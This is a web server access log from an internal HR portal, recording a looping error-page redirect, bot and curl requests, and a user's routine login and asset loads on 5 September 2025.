192.168.40.98 - - [05/Sep/2025:13:33:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.98 - - [05/Sep/2025:13:33:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.98 - - [05/Sep/2025:13:33:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.98 - - [05/Sep/2025:13:33:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.98 - - [05/Sep/2025:13:34:00 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.98 - - [05/Sep/2025:13:34:00 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.98 - - [05/Sep/2025:13:34:00 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.98 - - [05/Sep/2025:13:34:00 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.98 - - [05/Sep/2025:13:34:00 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.98 - - [05/Sep/2025:13:34:00 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.98 - - [05/Sep/2025:13:34:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.98 - - [05/Sep/2025:13:34:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.98 - - [05/Sep/2025:13:34:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.98 - - [05/Sep/2025:13:34:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.98 - - [05/Sep/2025:13:34:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.98 - - [05/Sep/2025:13:34:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.98 - - [05/Sep/2025:13:34:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.98 - - [05/Sep/2025:13:34:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.98 - - [05/Sep/2025:13:34:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.98 - - [05/Sep/2025:13:34:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.98 - - [05/Sep/2025:13:34:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.98 - - [05/Sep/2025:13:34:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.98 - - [05/Sep/2025:13:34:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.98 - - [05/Sep/2025:13:34:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.98 - - [05/Sep/2025:13:34:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.98 - - [05/Sep/2025:13:34:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.98 - - [05/Sep/2025:13:34:05 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.98 - - [05/Sep/2025:13:34:05 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.98 - - [05/Sep/2025:13:34:05 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.98 - - [05/Sep/2025:13:34:05 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.98 - - [05/Sep/2025:13:34:05 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.98 - - [05/Sep/2025:13:34:05 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.98 - - [05/Sep/2025:13:34:06 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.98 - - [05/Sep/2025:13:34:06 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [05/Sep/2025:13:37:20 +0800] "\x16\x03\x01" 501 205
100.64.0.1 - - [05/Sep/2025:13:37:20 +0800] "\x16\x03\x01" 501 205 "-" "-"
100.64.0.1 - - [05/Sep/2025:13:37:22 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8806
100.64.0.1 - - [05/Sep/2025:13:37:22 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8806 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36"
100.64.0.1 - - [05/Sep/2025:13:45:52 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:13:45:52 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:13:46:11 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:13:46:11 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:13:51:26 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [05/Sep/2025:13:51:26 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [05/Sep/2025:13:56:57 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:13:56:57 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:13:58:39 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:13:58:39 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:13:59:59 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8806 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36"
100.64.0.1 - - [05/Sep/2025:13:59:59 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8806
192.168.11.148 - - [05/Sep/2025:14:00:39 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:14:00:39 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.148 - - [05/Sep/2025:14:00:39 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:14:00:39 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837
192.168.11.148 - - [05/Sep/2025:14:00:39 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427
192.168.11.148 - - [05/Sep/2025:14:00:39 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:14:00:39 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026
192.168.11.148 - - [05/Sep/2025:14:00:39 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:14:00:39 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:14:00:39 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358
192.168.11.148 - - [05/Sep/2025:14:00:39 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:14:00:39 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216
192.168.11.148 - - [05/Sep/2025:14:00:39 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123
192.168.11.148 - - [05/Sep/2025:14:00:39 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:14:00:54 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:14:00:54 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.148 - - [05/Sep/2025:14:01:00 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124
192.168.11.148 - - [05/Sep/2025:14:01:00 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:14:01:01 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104
192.168.11.148 - - [05/Sep/2025:14:01:01 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:14:01:00 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929
192.168.11.148 - - [05/Sep/2025:14:01:00 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:14:01:01 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270
192.168.11.148 - - [05/Sep/2025:14:01:01 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:14:01:01 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:14:01:01 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186
192.168.11.148 - - [05/Sep/2025:14:01:01 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:14:01:01 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493
192.168.11.148 - - [05/Sep/2025:14:01:01 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588
192.168.11.148 - - [05/Sep/2025:14:01:01 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:14:01:01 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607
192.168.11.148 - - [05/Sep/2025:14:01:01 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:14:01:01 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030
192.168.11.148 - - [05/Sep/2025:14:01:01 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:14:01:01 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107
